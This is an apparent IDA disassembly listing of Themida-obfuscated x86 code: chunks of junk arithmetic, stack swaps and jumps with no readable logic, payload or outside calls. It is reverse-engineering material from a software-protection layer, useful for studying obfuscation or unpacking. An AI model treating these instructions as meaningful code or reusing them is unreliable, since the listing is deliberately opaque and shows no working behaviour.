; START	OF FUNCTION CHUNK FOR sub_570E27


loc_56B307:				; CODE XREF: sub_570E27+Cj
		xchg	ebx, [esp+4+var_4]
		pop	esp
		jmp	loc_56AC29
; END OF FUNCTION CHUNK	FOR sub_570E27

; =============== S U B	R O U T	I N E =======================================



sub_56B310	proc near		; CODE XREF: sub_564B5A+406Aj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4

; FUNCTION CHUNK AT 00566E06 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00567AD4 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00574CA8 SIZE 00000016 BYTES

		push	ebp
		push	75555ED6h
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		and	ebp, 4BC74DF2h
		jmp	loc_574CA8
sub_56B310	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5681F5


loc_56B32A:				; CODE XREF: sub_5681F5+Cj
		mov	ebx, esi
		mov	esi, [esp+8+var_8]
		push	edx
		push	esp
		jmp	loc_56D777
; END OF FUNCTION CHUNK	FOR sub_5681F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_56B336:				; CODE XREF: sub_5685B2-6AF7j
		sub	ebx, 1C927940h
		jmp	loc_56C015
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564746


loc_56B341:				; CODE XREF: sub_564746+79D2j
		push	eax
		mov	ah, 31h
		or	ah, 49h
		jmp	loc_56FAA0
; END OF FUNCTION CHUNK	FOR sub_564746
; ---------------------------------------------------------------------------


loc_56B34C:				; CODE XREF: Themida_:0056D547j
		xor	ebx, 7FF756FBh
		sub	eax, 70BE709Eh
		sub	eax, 50F258F1h
		add	eax, 36767FB3h
		add	eax, ebx
		sub	eax, 36767FB3h
		add	eax, 50F258F1h
		add	eax, 70BE709Eh
		jmp	loc_567318
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_56B377:				; CODE XREF: sub_56B06D-46A4j
		mov	[esp+14h+var_14], ecx
		jmp	loc_575188
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------


loc_56B37F:				; CODE XREF: Themida_:0056996Aj
		sub	edx, 68A02869h
		add	edx, 4FBE35B9h
		add	edx, 0B7EE6BBAh
		sub	ecx, edx
		pop	edx
		add	edi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_56FCAB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD97


loc_56B3AA:				; CODE XREF: sub_56FD97-F4C2j
		xchg	edi, [esp+8+var_8]
		pop	esp
		push	ebp
		push	edx
		pop	ebp
		jmp	loc_565A07
; END OF FUNCTION CHUNK	FOR sub_56FD97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56331C


loc_56B3B6:				; CODE XREF: sub_56331C-289Dj
		add	esp, 4
		push	ecx
		mov	ecx, 652374FEh
		neg	ecx
		sub	ecx, 22655B92h
		add	eax, ecx
		pop	ecx
		sub	eax, 0BF91C3Ch
		sub	eax, 28350427h
		add	eax, edx
		add	eax, 28350427h
		jmp	sub_5681F5
; END OF FUNCTION CHUNK	FOR sub_56331C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_56B3E0:				; CODE XREF: sub_574304-EBA8j
		shr	eax, 0Eh
		xor	eax, ecx
		push	419Dh
		jmp	loc_5654CE
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574DC1


loc_56B3EF:				; CODE XREF: sub_574DC1-C8CAj
		xor	ebp, [esp+0Ch+var_C]
		pop	esp
		add	eax, 11A44048h
		jmp	loc_5658EC
; END OF FUNCTION CHUNK	FOR sub_574DC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566C83


loc_56B3FD:				; CODE XREF: sub_566C83+3AE6j
		sub	ebx, 148E4187h
		push	esi
		push	eax
		jmp	loc_568AD9
; END OF FUNCTION CHUNK	FOR sub_566C83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CD13


loc_56B40A:				; CODE XREF: sub_56CD13+Aj
		add	esp, 4
		push	eax
		jmp	loc_56629C
; END OF FUNCTION CHUNK	FOR sub_56CD13
; ---------------------------------------------------------------------------


loc_56B416:				; CODE XREF: Themida_:0056189Aj
		neg	esi
		jmp	loc_5709CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_56B41D:				; CODE XREF: sub_56B11B-C6Bj
		push	[esp+4+var_4]
		pop	eax
		sub	esp, 4
		jmp	loc_570FDA
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56B429:				; CODE XREF: sub_57354D-2B5Cj
		sub	ebx, 38164261h
		inc	ebx
		push	esi
		mov	esi, 12CC4A09h
		add	ebx, esi
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5708E9
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_56B443:				; CODE XREF: sub_56B11B-8AB1j
		xor	ebx, [esp+4+var_4]
		pop	esp
		push	4380h
		mov	[esp+4+var_4], ecx
		push	6A49h
		mov	[esp+8+var_8], eax
		push	esi
		mov	esi, 62604585h
		push	0
		sub	[esp+10h+var_10], 3D1274E9h
		jmp	loc_564F91
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_56B46E:				; CODE XREF: sub_570732-F266j
		push	1
		push	[esp+8+var_8]
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		sub	edi, 5FCB59FAh
		add	edi, esi
		add	edi, 5FCB59FAh
		pop	esi
		sub	esp, 4
		jmp	loc_56FC70
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_56B49F:				; CODE XREF: sub_571C93-6A02j
		mov	ecx, 1138295Fh
		inc	ecx
		jmp	loc_56F0A3
; END OF FUNCTION CHUNK	FOR sub_571C93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5643EB


loc_56B4AA:				; CODE XREF: sub_5643EB+7BADj
		pop	ebx
		add	esp, 4
		jmp	loc_56A89D
; END OF FUNCTION CHUNK	FOR sub_5643EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56B4B6:				; CODE XREF: sub_563A7F+B0C6j
		pop	ecx
		push	esi
		jmp	loc_56C785
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_56B4BD:				; CODE XREF: sub_56FB8A-402Aj
		inc	ecx
		sub	ecx, 5676367Fh
		mov	edx, ecx
		pop	ecx
		add	eax, edx
		pop	edx
		xor	eax, [esp+0]
		jmp	loc_5643AB
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_56B4D2:				; CODE XREF: sub_572DD7+118Ej
		xor	edi, 74246D63h
		push	ecx
		mov	ecx, 0EF42A98Ah
		xor	edi, ecx
		jmp	loc_565797
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56B4E5:				; CODE XREF: sub_57354D-C9A2j
		shl	ecx, 1
		jmp	loc_5717FC
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_56B4EC:				; CODE XREF: sub_5713A7+D3Dj
		add	edx, 41364FF5h
		pop	ecx
		sub	esp, 4
		jmp	loc_56F18F
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_56B4FB:				; CODE XREF: sub_561541-13AFj
		pop	ecx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		push	edi
		mov	edi, 1AA0B7B6h
		jmp	loc_561217
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_56B50D:				; CODE XREF: sub_56AEF2-11E1j
		push	[esp+0Ch+var_C]
		pop	eax
		push	eax
		jmp	loc_568DBD
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56B517:				; CODE XREF: sub_565632+FA4j
		mov	edx, [esp-0Ch+arg_8]
		add	esp, 4
		xor	ecx, 2801673Bh
		not	ecx
		and	ecx, 26BF3AC3h
		sub	ecx, 0A8A1E38Bh
		and	ecx, 7DB157AFh
		jmp	loc_56F3EC
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_56B53C:				; CODE XREF: sub_57146D-D279j
		shl	al, 6
		jmp	loc_56ACEF
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56B544:				; CODE XREF: sub_564D26+528Dj
		push	[esp+14h+var_14]
		pop	eax
		add	esp, 4
		push	0ABFh
		mov	[esp+14h+var_14], edx
		push	esp
		push	[esp+18h+var_18]
		pop	edx
		add	esp, 4
		add	edx, 4
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		push	327237CAh
		jmp	loc_5635BE
; END OF FUNCTION CHUNK	FOR sub_564D26

; =============== S U B	R O U T	I N E =======================================



sub_56B577	proc near		; CODE XREF: sub_564017+4j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 00561BC5 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005651FA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005671D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005691DC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056B5C9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056E621 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056F718 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00570288 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00572FA8 SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	2DB7h
		mov	[esp+8+var_8], esp
		push	ebp
		mov	ebp, 4
		add	[esp+0Ch+var_8], ebp
		pop	ebp
		push	[esp+8+var_8]
		pop	ebp
		jmp	loc_572FA8
sub_56B577	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5638E4


loc_56B599:				; CODE XREF: sub_5638E4+D9Dj
		shl	ebx, 6
		jmp	loc_5614DA
; END OF FUNCTION CHUNK	FOR sub_5638E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_56B5A1:				; CODE XREF: sub_56CC46+B9Bj
		dec	ecx
		sub	ecx, 5CF60CEDh
		push	esi
		mov	esi, 0AF5D7F91h
		push	ebx
		mov	ebx, 76B4784Ah
		jmp	loc_5616EA
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA44


loc_56B5B9:				; CODE XREF: sub_56FA44+32FCj
		push	eax
		mov	eax, 780F0948h
		add	eax, 0E95C0ACBh
		jmp	loc_57294B
; END OF FUNCTION CHUNK	FOR sub_56FA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B577


loc_56B5C9:				; CODE XREF: sub_56B577-9992j
		add	ebp, eax
		jmp	loc_5671D0
; END OF FUNCTION CHUNK	FOR sub_56B577
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_56B5D0:				; CODE XREF: sub_5678CB+247Aj
		mov	ch, bh
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_573CC3
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_56B5E0:				; CODE XREF: sub_568E5C-1462j
		sub	eax, 40DC6BB8h
		pop	ecx
		add	eax, 4
		jmp	loc_5688CF
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5715F0


loc_56B5EE:				; CODE XREF: sub_5715F0-11353j
		add	ecx, 4
		push	30E1h
		mov	[esp-4+arg_0], eax
		mov	eax, 4
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp-8+arg_4]
		pop	esp
		jmp	loc_56354B
; END OF FUNCTION CHUNK	FOR sub_5715F0
; ---------------------------------------------------------------------------


loc_56B60D:				; CODE XREF: Themida_:00567E25j
		mov	[esp], ebx
		jmp	loc_561471
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_56B615:				; CODE XREF: sub_5685B2-78D6j
		inc	cl
		xor	cl, 0B0h
		jmp	loc_560DAE
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_56B61F:				; CODE XREF: sub_572641+10Aj
		mov	[esp+8+var_8], edx
		mov	dh, 3Fh
		shl	dh, 1
		or	dh, 0E7h
		dec	dh
		add	dh, 67h
		or	bh, dh
		pop	edx
		shl	bh, 2
		dec	bh
		push	2E17h
		mov	[esp+8+var_8], eax
		push	ebx
		jmp	loc_569F11
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DBD1


loc_56B644:				; CODE XREF: sub_56DBD1+Fj
		mov	eax, [esp+4+var_4]
		jmp	loc_571415
; END OF FUNCTION CHUNK	FOR sub_56DBD1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E4D4


loc_56B64C:				; CODE XREF: sub_56E4D4+13j
		add	esp, 4
		push	edi
		mov	edi, 3BBA696Ch
		add	eax, edi
		mov	edi, [esp+0]
		add	esp, 4
		add	eax, ebx
		jmp	loc_563AB0
; END OF FUNCTION CHUNK	FOR sub_56E4D4
; ---------------------------------------------------------------------------


loc_56B664:				; CODE XREF: Themida_:00563107j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_56262F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569B75


loc_56B67E:				; CODE XREF: sub_569B75-89B4j
		add	eax, esi
		jmp	loc_572EF9
; END OF FUNCTION CHUNK	FOR sub_569B75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EFD2


loc_56B685:				; CODE XREF: sub_56EFD2-C98Bj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_563A6E
; END OF FUNCTION CHUNK	FOR sub_56EFD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A608


loc_56B695:				; CODE XREF: sub_56A608-2398j
		push	edx
		mov	edx, 4499006Dh
		jmp	loc_56ECE9
; END OF FUNCTION CHUNK	FOR sub_56A608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DDC5


loc_56B6A0:				; CODE XREF: sub_56DDC5+9j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56DDC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_56B6A5:				; CODE XREF: sub_574F16-56A3j
		mov	ch, bl
		pop	ebx
		mov	bh, ch
		pop	ecx
		mov	eax, [esp+0Ah+var_A]
		add	esp, 4
		add	bh, 5
		mov	ch, bh
		mov	ebx, [esp+6+var_6]
		jmp	loc_563532
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FCD7


loc_56B6C1:				; CODE XREF: sub_56FCD7+14j
		pop	edi
		sub	edx, 42B40A3Eh
		add	edx, esi
		add	edx, 42B40A3Eh
		jmp	loc_56B1AD
; END OF FUNCTION CHUNK	FOR sub_56FCD7

; =============== S U B	R O U T	I N E =======================================



sub_56B6D5	proc near		; DATA XREF: Themida_:0055FE54o
		push	dword ptr fs:[edx]
		jmp	loc_55FF9F
sub_56B6D5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56B6DD:				; CODE XREF: sub_565632+C993j
		add	esp, 4
		neg	edi
		push	esi
		mov	esi, 2EECE500h
		jmp	loc_5670EE
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_56B6ED:				; CODE XREF: sub_5685B2-57A1j
		pop	edx
		and	al, bh
		jmp	loc_574A74
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_56B6F5:				; CODE XREF: sub_56AB5E+77B2j
		mov	[esp+8+var_8], ebx
		mov	ebx, 4D5004E8h
		push	ecx
		push	65D1518Ch
		jmp	loc_56E9BE
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569AB3


loc_56B708:				; CODE XREF: sub_569AB3-F6Dj
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		xor	ecx, 14266CCCh
		not	ecx
		inc	ecx
		jmp	loc_56F591
; END OF FUNCTION CHUNK	FOR sub_569AB3

; =============== S U B	R O U T	I N E =======================================



sub_56B71F	proc near		; CODE XREF: sub_574DC1-13509j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00563FBE SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056589B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567F67 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005683CF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00568816 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056A1BE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056E38B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056EFDD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056F3FE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057257C SIZE 00000013 BYTES

		push	ebx
		mov	ebx, 21FA446Dh
		push	582Eh
		jmp	loc_57257C
sub_56B71F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_56B72F:				; CODE XREF: sub_56FA15+2BDFj
		add	eax, 4
		add	eax, 4
		jmp	loc_56C0ED
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BC97


loc_56B73C:				; CODE XREF: sub_56BC97-764Dj
		mov	[esp+0], edi
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp+0]
		push	47F7h
		mov	[esp+4+var_4], ecx
		push	esp
		pop	ecx
		jmp	loc_565C03
; END OF FUNCTION CHUNK	FOR sub_56BC97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_56B758:				; CODE XREF: sub_56CC46-7625j
		xchg	ebx, [esp+8+var_8]
		pop	esp
		jmp	loc_56123F
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5681F5


loc_56B761:				; CODE XREF: sub_5681F5+B272j
		add	eax, 182E3672h
		add	ebx, 105A1AD2h
		add	ebx, eax
		push	5EDCh
		mov	[esp+4+var_4], ecx
		mov	ecx, 7695672Ah
		inc	ecx
		shr	ecx, 3
		neg	ecx
		shl	ecx, 8
		xor	ecx, 3D0901D2h
		sub	ebx, ecx
		pop	ecx
		pop	eax
		add	ebx, eax
		push	5508h
		mov	[esp+0], eax
		mov	eax, 6D541BE0h
		shl	eax, 5
		push	ebx
		jmp	loc_565361
; END OF FUNCTION CHUNK	FOR sub_5681F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680FB


loc_56B7A6:				; CODE XREF: sub_5680FB+7194j
		mov	[esp+8+var_8], ebp
		jmp	loc_570DA7
; END OF FUNCTION CHUNK	FOR sub_5680FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5653AD


loc_56B7AE:				; CODE XREF: sub_5653AD+42BEj
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		jmp	loc_573EB6
; END OF FUNCTION CHUNK	FOR sub_5653AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56B7BA:				; CODE XREF: sub_56616D+EEE0j
		xchg	edx, [esp-10h+arg_C]
		pop	esp
		mov	[esp-14h+arg_10], esi
		mov	esi, 76413E9Bh
		mov	edx, esi
		jmp	loc_569D82
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5734A7


loc_56B7CD:				; CODE XREF: sub_5734A7-696j
		pop	edi
		add	esp, 4
		push	edx
		mov	edx, 21A70442h
		shr	edx, 3
		neg	edx
		jmp	loc_56BB11
; END OF FUNCTION CHUNK	FOR sub_5734A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561F05


loc_56B7E1:				; CODE XREF: sub_561F05+9B56j
		mov	eax, 88ED87DBh
		add	eax, edx
		pop	edx
		sub	esi, eax
		jmp	loc_571108
; END OF FUNCTION CHUNK	FOR sub_561F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_56B7F0:				; CODE XREF: sub_560EA2+3544j
		pop	ecx
		add	eax, 9846C03h
		add	eax, 78CE67D5h
		add	eax, edx
		push	ebp
		mov	ebp, 0AA2764Fh
		neg	ebp
		jmp	loc_574DF9
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_56B80A:				; CODE XREF: sub_57146D+33Fj
		pop	edx
		sub	bl, 48h
		sub	bl, 63h
		sub	bl, 0E3h
		jmp	loc_5641E5
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56B819:				; CODE XREF: sub_563A7F+9447j
		mov	ch, 3Fh
		add	bl, ch
		pop	ecx
		add	bl, al
		sub	bl, 3Fh
		sub	bl, 79h
		sub	bl, 0C3h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0Ah+var_C+2]
		pop	esp
		mov	[esp+6+var_8+2], ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0Ah+var_C+2]
		pop	esp
		mov	[esp+6+var_8+2], ebx
		push	2BD33A7Dh
		jmp	loc_574C8C
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CBE


loc_56B859:				; CODE XREF: sub_574CBE-6181j
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		add	eax, 2D4849A7h
		push	esi
		mov	esi, 4C3F2257h
		shr	esi, 3
		xor	esi, 71E3914h
		dec	esi
		jmp	loc_563E57
; END OF FUNCTION CHUNK	FOR sub_574CBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_56B879:				; CODE XREF: sub_56241E-2E0j
		mov	dx, ax
		jmp	loc_562BF0
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57109F


loc_56B881:				; CODE XREF: sub_57109F-3ABEj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		push	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		xchg	edx, [esp+10h+var_10]
		pop	esp
		push	esp
		pop	[esp+10h+var_10]
		add	[esp+0Ch+var_C], 4
		push	[esp+0Ch+var_C]
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+10h+var_10]
		jmp	loc_5601A2
; END OF FUNCTION CHUNK	FOR sub_57109F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5648C6


loc_56B8D8:				; CODE XREF: sub_5648C6+512Ej
		sub	esi, 3485407Dh
		push	ecx
		mov	ecx, 7FD927D2h
		sub	edi, ecx
		jmp	loc_570C42
; END OF FUNCTION CHUNK	FOR sub_5648C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_56B8EB:				; CODE XREF: sub_570732-7657j
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		push	1EFCh
		jmp	loc_56D5E6
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567866


loc_56B8FB:				; CODE XREF: sub_567866+9B03j
		push	edi
		push	eax
		mov	eax, 5F067FEh
		jmp	loc_563A59
; END OF FUNCTION CHUNK	FOR sub_567866
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680FB


loc_56B907:				; CODE XREF: sub_5680FB-2679j
		add	ebx, 4
		xchg	ebx, [esp+14h+var_14]
		pop	esp
		add	eax, esi
		add	eax, 586952BAh
		pop	esi
		add	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_568159
; END OF FUNCTION CHUNK	FOR sub_5680FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0B0


loc_56B924:				; CODE XREF: sub_56E0B0-DAF9j
		push	310Bh
		mov	[esp+0Ch+var_C], edx
		mov	edx, 37E753A5h
		jmp	loc_560945
; END OF FUNCTION CHUNK	FOR sub_56E0B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_56B936:				; CODE XREF: sub_568764-4E24j
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		mov	ebx, [esp+4+var_4]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56FDB2
; END OF FUNCTION CHUNK	FOR sub_568764
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB51


loc_56B96A:				; CODE XREF: sub_56AB51+98F8j
		add	esp, 4
		jmp	loc_57540C
; END OF FUNCTION CHUNK	FOR sub_56AB51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A7FB


loc_56B972:				; CODE XREF: sub_56A7FB-1F53j
		xor	ch, 24h
		sub	al, ch
		pop	ecx
		mov	bx, [esp+0]
		add	esp, 2
		jmp	sub_571F6F
; END OF FUNCTION CHUNK	FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573B49


loc_56B984:				; CODE XREF: sub_573B49-DA37j
		pop	ebx
		xchg	eax, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		or	[esp-4+arg_0], eax
		pushf
		jmp	loc_564DA9
; END OF FUNCTION CHUNK	FOR sub_573B49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569DB5


loc_56B994:				; CODE XREF: sub_569DB5-4D3j
		push	ecx
		mov	ecx, 0B9B035Dh
		sub	edx, ecx
		pop	ecx
		shl	edx, 8
		add	edx, 46590843h
		xor	esi, edx
		pop	edx
		push	edi
		push	edx
		mov	edx, 16131EDCh
		mov	edi, edx
		pop	edx
		add	ecx, edi
		pop	edi
		add	ecx, esi
		sub	ecx, 16131EDCh
		pop	esi
		push	6AA1h
		mov	[esp+4+var_4], ecx
		push	dword ptr [esp+4]
		jmp	loc_5644D0
; END OF FUNCTION CHUNK	FOR sub_569DB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_56B9D0:				; CODE XREF: sub_56FA15-60EAj
		mov	edi, esp
		add	edi, 4
		push	ebx
		jmp	loc_56F4E8
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5671E1


loc_56B9DE:				; CODE XREF: sub_5671E1+6632j
		push	esi
		inc	[esp+0Ch+var_C]
		pop	esi
		add	esi, 0FD425994h
		push	edx
		mov	edx, 4B1E54C6h
		push	7BB1h
		mov	[esp+10h+var_10], ecx
		mov	ecx, 520F2D63h
		or	edx, ecx
		mov	ecx, [esp+10h+var_10]
		jmp	loc_57380D
